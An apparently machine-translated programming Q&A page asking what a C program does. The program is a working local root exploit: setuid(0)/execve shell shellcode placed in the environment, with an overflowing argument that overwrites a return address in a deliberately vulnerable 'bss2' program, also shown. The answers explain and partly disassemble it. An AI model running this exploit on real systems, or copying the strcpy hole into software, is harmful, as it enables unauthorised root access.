1
#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; 

int main(void){
    char buf[bufsize] ;
    char *proc[]={"./bss2",buf,NULL};
    char *envir[]={"Bytes=2Lu",shellcode,NULL};
    unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
    memset(buf,0x42,sizeof(buf));
    memcpy(buf + bufsize - 4,(char *)&ret_addr,4);
    execve(proc[0],proc,envir);
    return 0;
}

那些memcpymemset之前execve做什么?它如何影响程序proc

bss2的更新代码

#define LEN 256
void output(char *);
int main(int argc, char **argv) {
    static char buffer[LEN];
    static void (*func) (char *);
    func = output;
    strcpy(buffer, argv[1]);
    func(buffer);
    return EXIT_SUCCESS;
}
void output(char *string) {
    fprintf(stdout, "%s", string);
}

更新

现在似乎问题归结为环境变量的位置?

4

6 回答 6

3

该代码正在构建一个参数字符串和一个环境(例如,环境变量所在的位置)。参数包含"./bss2"inargv[0]和一个 256 个B字符的字符串,后跟一个返回地址 in argv[1]。环境在第一个位置包含一个虚拟变量,在第二个位置包含 shellcode。

据推测,目标应用程序bss2包含一个变量char x[256];,它argv[1]在没有边界检查的情况下复制到该变量中。这会导致函数返回地址被 中计算的返回地址覆盖ret_addr,希望指向环境块。

于 2011-04-15T06:57:55.637 回答
0

As an exercise for myself, I started disassembling the shellcode by hand. I got as far as:

XOR ebx, ebx  #clear ebx
PUSH ebx     #push ebx onto the stack
LEA eax, [ebx+23]  #load 23 into eax
INT 0x80      #do a system call

I got bored after that, but system call 23 in linux for the INT 0x80 calls is the sys_setuid, so it looks like it's code to set the UID to 0, or get root. Not surprising, since it's shell code. :-)

于 2011-04-15T07:51:11.073 回答
0

对我来说似乎很奇怪,因为 buf 参数不是以空值结尾的。

好吧,memset 和 memcpy 对第一个程序参数进行了一些修改,然后 execve 启动它。抱歉,不能多说……

于 2011-04-15T06:38:35.667 回答
0

我不是专家,但看起来它正在尝试运行一些漏洞。

指标包括标识符、使用/shellcode操作另一个可执行文件的参数并计算一些值。memsetmemcpyret_addr

于 2011-04-15T06:41:54.673 回答
0

似乎有些项目未由您发布的代码定义。shellcode 是定义为宏还是什么?值 bufsize 也是未知的。

memset 调用似乎用八进制值 0x42 初始化缓冲区 buf。

memcpy 调用似乎在 buf 的末尾插入了一个地址。

如前所述,此缓冲区 (buf) 最终作为参数传递给 bss2 进程。

于 2011-04-15T06:46:04.687 回答
0

它无法编译,因为bufsize并且shellcode未定义。

更严重的是,它看起来像是在尝试利用名为bss2.

于 2011-04-15T06:40:59.787 回答